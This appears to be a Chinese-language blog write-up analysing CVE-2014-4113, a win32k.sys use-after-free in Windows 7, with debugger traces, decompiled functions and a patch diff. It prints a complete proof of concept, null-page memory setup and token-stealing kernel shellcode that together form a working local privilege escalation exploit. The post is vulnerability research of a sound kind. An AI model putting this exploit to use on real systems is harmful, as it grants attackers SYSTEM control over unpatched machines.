写点什么

【漏洞介绍】驱动文件 Microsoft32k.sys 中的漏洞分析

  • 2022-10-29
    湖南
  • 本文字数:4285 字

    阅读完需:约 14 分钟

漏洞介绍

漏洞程序

Microsoft Windows 是美国微软(Microsoft)公司发布的一系列操作系统。win32k.sys 是 Windows 子系统的内核部分,是一个内核模式设备驱动程序,它包含有窗口管理器、后台控制窗口和屏幕输出管理等。


如果 Windows 内核模式驱动程序不正确地处理内存中的对象,则存在一个特权提升漏洞。成功利用此漏洞的攻击者可以运行内核模式中的任意代码。攻击者随后可安装程序;查看、更改或删除数据;或者创建拥有完全管理权限的新帐户。

漏洞原理

该漏洞发生的位置是在驱动文件 Win32k.sys 中的 xxxHandleMenuMessage 函数中,销毁弹出菜单的时候通过钩子的方法修改返回值,将返回值修改为 fffffffb,因为对这个值没有严格的检查从而在 sendmessage 中再次被引用到,从而造成了 UAF,这个方法可以在 sendmessage 中跳转到 shellcode 从而提权

实验环境

虚拟机:Windows 7 x86 sp1


物理机:Windows 10 x64 21H2


用到的工具:IDA,Windbg,VS2022

漏洞分析

以网上随便找的 poc 为突破口,开始分析漏洞,在虚拟机里运行 poc,windbg 接管异常,说明漏洞实际存在(默认安装的 Windows7x86sp1)


查看调用堆栈:


kd> kbChildEBP RetAddr      Args to Child       00 af0bfa64 9d5b95c5     fffffffb 000001ed 0024fcd4 win32k!xxxSendMessageTimeout+0xb301 af0bfa8c 9d6392fb     fffffffb 000001ed 0024fcd4 win32k!xxxSendMessage+0x2802 af0bfaec 9d638c1f     af0bfb0c 00000000 0024fcd4 win32k!xxxHandleMenuMessages+0x58203 af0bfb38 9d63f8f1     fd665208 9d71f580 00000000 win32k!xxxMNLoop+0x2c604 af0bfba0 9d63f9dc     0000001c 00000002 00000000 win32k!xxxTrackPopupMenuEx+0x5cd05 af0bfc14 83e441ea     00010211 00000002 00000000 win32k!NtUserTrackPopupMenuEx+0xc306 af0bfc14 77a670b4 (T) 00010211 00000002 00000000 nt!KiFastCallEntry+0x12a07 0024fce8 762a483e (T) 76292243 00010211 00000002 ntdll!KiFastSystemCallRet
复制代码


查看一下当前异常的地方:


kd> uwin32k!xxxSendMessageTimeout+0xb3:9d5b93fa 3b7e08          cmp     edi,dword ptr [esi+8]9d5b93fd 0f8484000000    je      win32k!xxxSendMessageTimeout+0x140 (9d5b9487)9d5b9403 8b0e            mov     ecx,dword ptr [esi]9d5b9405 8b15e4d1719d    mov     edx,dword ptr [win32k!gSharedInfo+0x4 (9d71d1e4)]9d5b940b 81e1ffff0000    and     ecx,0FFFFh9d5b9411 0faf0de8d1719d  imul    ecx,dword ptr [win32k!gSharedInfo+0x8 (9d71d1e8)]9d5b9418 33c0            xor     eax,eax9d5b941a f644110901      test    byte ptr [ecx+edx+9],1
复制代码


是 esi 的值导致了漏洞,查看 esi 的值:


kd> r esiesi=fffffffb
复制代码


在调用链中,由用户层的 TrackPopupMenu 函数触发漏洞,而这个函数的功能是在屏幕指定位置显示快捷菜单并且跟踪选择的菜单项


这里头会调用 xxxMNLoop,这个函数里有 while(1)循环,应该是消息循环,处理消息的函数貌似正是 xxxHandleMenuMessages


据查阅资料,TrackPopupMenu 显示菜单之后,消息循环就由菜单接管了,此时进入的是 PopupMenu 的消息循环


【一一帮助安全学习,所有资源获取处一一】

①网络安全学习路线

②20 份渗透测试电子书

③安全攻防 357 页笔记

④50 份安全攻防面试指南

⑤安全红队渗透工具包

⑥网络安全必备书籍

⑦100 个漏洞实战案例

⑧安全大厂内部视频资源

分析 xxxHandleMenuMessages

这里面开始经过一堆判断之后,会通过 xxxMNFindWindowFromPoint 获取一个窗口句柄,用于后续的 xxxSendMessage 函数使用


这个分支的大概内容是,从鼠标位置获取下一层的菜单项,获取到了就发送 ButtonDown(0x1ED)消息,也就是说,执行到这个分支实际上是点击事件!


而这里对于xxxMNFindWindowFromPoint返回的句柄值的处理则是,如果不是-1,就发送 0x1ED 消息


分析 xxxMNFindWindowFromPoint

异常发生在了xxxSendMessage里的,是由于第一个参数传入的有问题导致的,而第一个参数来自xxxMNFindWindowFromPoint的返回值,该函数如下图所示


可以看到这个函数的开头:这里首先判断了当前菜单是否存在下级菜单,条件是ppopupmenu->spwndNextPopup有值,这里的 ppopupmenu 是传入的参数,是 PPOPUPMENU 结构体(参考资料[14])


其中spwndNextPopup成员的值含义是:下一层 Popup 菜单,是 WND 结构,所以需要创建两个 popup 菜单,其中一个作为另一个的下层


struct tagWND *spwndNextPopup;/* The next popup in the hierarchy. Null if the last* in chain*/
复制代码


这里发送了消息0x1EB,MN_FINDMENUWINDOWFROMPOINT消息,根据名字猜测功能就是根据位置找菜单窗口,发送的目标是 popup 菜单的下一层菜单,返回值应该就是菜单句柄了



这里对返回值会调用 IsMFMWFPWindow 函数进行处理:如果是非空,且不为-5 或-1,就返回 1


BOOL __stdcall IsMFMWFPWindow(int a1){return a1 && a1 != -5 && a1 != -1;}
复制代码


若这里返回了 1,就会进入 if 语句导致该变量被重新赋值,也就是说,这里如果要跳过这个 if 语句,返回值就必须是-1 或-5,而在前面看到,如果返回值是-1,则不会进入到触发漏洞的 SendMessage 中,所以这里的返回值在为-5 的时候,会触发漏洞

分析 xxxSendMessage

int __stdcall xxxSendMessage(PVOID P, CHAR pszMultiByteString, WCHAR WideCharString, void *Src){InterlockedIncrement(&glSendMessage);return xxxSendMessageTimeout(P, pszMultiByteString, WideCharString, Src, 0, 0, 0, (PVOID)1);}
复制代码


这个函数把传入的参数又接着传入了xxxSendMessageTimeout函数

分析 xxxSendMessageTimeout

程序异常点在 esi 的值上,esi=-5 被传入了进来,然后进行取值触发地址访问异常


这个函数首先把这个值保存到了 esi



接着往下有一个比较跳转:会从 esi+8 的地址取值



再往下还有两个要 esi 的地方:


Poc 编写

如果能控制 0x1EB 消息的返回值为-5,那么就能走到 xxxSendMessageTimeout 中,让程序异常触发漏洞,实现 poc


参考资料得知,这里的调用 SendMessage 存在两种调用形式,同步和异步,在异步调用的情况下,会从内核态进入用户态去执行用户钩子,执行完再切换回内核态返回:因此,可以 Hook 0x1EB 消息


Poc 如下:


includenclude
LRESULT CALLBACK DialogFun(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam){// 手动触发按下事件if (uMsg == WM_ENTERIDLE) {PostMessageA(hWnd, WM_KEYDOWN, VK_DOWN, 0);PostMessageA(hWnd, WM_KEYDOWN, VK_RIGHT, 0);PostMessageA(hWnd, WM_LBUTTONDOWN, 0, 0);}return DefWindowProc(hWnd, uMsg, wParam, lParam);}
LRESULT CALLBACK NewDialogFun(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam){// 触发漏洞,返回-5if (uMsg == 0x1eb) {return -5;}
return DefWindowProc(hWnd, uMsg, wParam, lParam);}
LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam){CWPSTRUCT* ptag = (CWPSTRUCT*)lParam;if (ptag->message == 0x1eb){// 这里至关重要:需要解除Hookif (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {SetWindowLongA(ptag->hwnd, GWLP_WNDPROC, (LONG)NewDialogFun);}}return CallNextHookEx(0, code, wParam, lParam);}int main(){// 注册窗口类WNDCLASSA wnd = { 0 };wnd.hInstance = ::GetModuleHandle(NULL);wnd.lpfnWndProc = DialogFun;wnd.lpszClassName = "CVE-2014-4113";RegisterClassA(&wnd);
// 创建窗口HWND hwnd = ::CreateWindowA(wnd.lpszClassName, "CVE-2014-4113", WS_OVERLAPPEDWINDOW, 0, 0, 800, 600, NULL, NULL, wnd.hInstance, NULL);
// 创建Pop-up菜单// 需要两个菜单,一个作为子菜单存在HMENU menu1 = CreatePopupMenu(); // 主菜单HMENU menu2 = CreatePopupMenu(); // 子菜单::AppendMenuA(menu2, MF_STRING, 0, "world");::AppendMenuA(menu1, MF_STRING | MF_POPUP, (UINT_PTR)menu2, "hello"); //给它一个spwndNextPopup 指针// 设置Hook::SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId());// 触发漏洞BOOL ret = TrackPopupMenu(menu1, TPM_RIGHTBUTTON, 0, 0, 0, hwnd, 0);return 0;}
复制代码


这里踩了个坑!!设置完钩子在里头记得要解除钩子!!!

漏洞利用

在 Poc 的基础上,如果能控制 0x3,0x11,0x5B 这几个地址的值,就能进行漏洞的利用

布置内存

DWORD GetPtiCurrent() {__asm{mov eax, fs: [0x18]mov eax, [eax + 0x40]}}
BOOL initMem() {// 初始化一些要用到的内存HMODULE hNtdll = GetModuleHandleA("ntdll.dll");typedef NTSTATUS(WINAPI* PNtAllocateVirtualMemory)(HANDLE ProcessHandle,PVOID* BaseAddress,ULONG ZeroBits,PULONG AllocationSize,ULONG AllocationType,ULONG Protect);PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
// 申请内存ULONG base = -5;ULONG size = 0x1000;NTSTATUS ntstatus = NtAllocateVirtualMemory(GetModuleHandle(NULL), (PVOID*)&base, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (ntstatus != 0) {FreeLibrary(hNtdll);return FALSE;}*(DWORD*)0x3 = GetPtiCurrent();*(BYTE*)0x11 = (BYTE)4;*(DWORD*)0x5B = (DWORD)ShellCode;return TRUE;}
复制代码

Shellcode

int __stdcall ShellCode(int parameter1, int parameter2, int parameter3, int parameter4){_asm{pushadmov eax, fs: [124h]     // Find the _KTHREAD structure for the current threadmov eax, [eax + 0x50]   // Find the _EPROCESS structuremov ecx, eaxmov edx, 4              // edx = system PID(4)
// The loop is to get the _EPROCESS of the systemfind_sys_pid :mov eax, [eax + 0xb8] // Find the process activity listsub eax, 0xb8 // List traversalcmp[eax + 0xb4], edx // Determine whether it is SYSTEM based on PIDjnz find_sys_pid
// Replace the Tokenmov edx, [eax + 0xf8]mov[ecx + 0xf8], edxpopad}return 0;}
4113/CVE-2014-4113.cpp
复制代码

利用截图

补丁 diff

漏洞触发点(0x1ED 消息)处的函数对比



可以看到,左边检查 ebx 参数是检查是否是-1,不是-1 则发送消息


右边的检查则多了一个过程,调用了 IsMFMWFPWindow 函数进行再次检查:


BOOL __stdcall IsMFMWFPWindow(int a1){return a1 && a1 != -5 && a1 != -1;}
复制代码


这下子直接杜绝了把-5 当作参数传入 SendMessage 函数的情况,从而修补了漏洞

用户头像

我是一名网络安全渗透师 2021-06-18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
【漏洞介绍】驱动文件Microsoft32k.sys中的漏洞分析_网络安全_网络安全学海_InfoQ写作社区